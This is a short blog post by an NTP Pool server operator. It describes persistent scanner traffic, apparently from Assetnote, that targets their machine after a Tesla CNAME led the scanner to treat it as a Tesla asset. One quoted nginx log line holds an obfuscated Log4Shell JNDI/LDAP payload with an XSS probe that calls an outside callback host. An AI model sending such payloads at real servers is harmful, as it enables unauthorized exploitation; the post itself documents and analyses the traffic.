While it’s not unusual for everything on the dark dungeons of the IPv4 Internet to be subject to a barrage of drive-by scanner traffic and the occasional bizarrely persistent attacker, I noticed something strange while looking through my nginx logs. Persistent attack traffic coming from three particular IPs, with the strange thing being that they were arriving with Host or Referer headers from pool-ntp.tesla.com, carried Assetnote user agents, and were trying to SSRF me to Assetnote callback URLs: 35.168.63.24 - - [13/Sep/2026:01:14:31 -0700] "GET /?a=%3Cscript%20src={jndi{:-:}ldap:−://waf6.{:-:}//waf6.{date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C%2Fscript%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 {jndi{:-:}ldap:−://waf6.{:-:}//waf6.{date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com The traffic came from three specific scanners: 54.165.75.96, 35.168.63.24, and 52.44.200.251. All of those are in the Amazon Web Services AS (AMAZON-AES). Assetnote, a legitimate attack surface management tool now called Searchlight Cyber in marketing materials, does indeed use continuous threat exposure scanners like this to perform automated checks for customers’ assets. Assuming this is actual Assetnote traffic (they do indeed use AWS, so that checks out), they must be mistaking me for an internal Tesla asset. How this happened Tesla publishes pool-ntp.tesla.com as a CNAME to pool.ntp.org. pool.ntp.org is the NTP Pool, a round‐robin of volunteer NTP servers that I’m a part of. Speculation: Assetnote pulled in everything it could find under tesla.com, including pool-ntp.tesla.com, which CNAMEs to pool.ntp.org, which can resolve to my machine — 67.215.249.229. The asset inventory saves this as a Tesla asset, and starts throwing exploits at me, a stranger. I emailed Tesla about this, and haven’t heard back yet: ...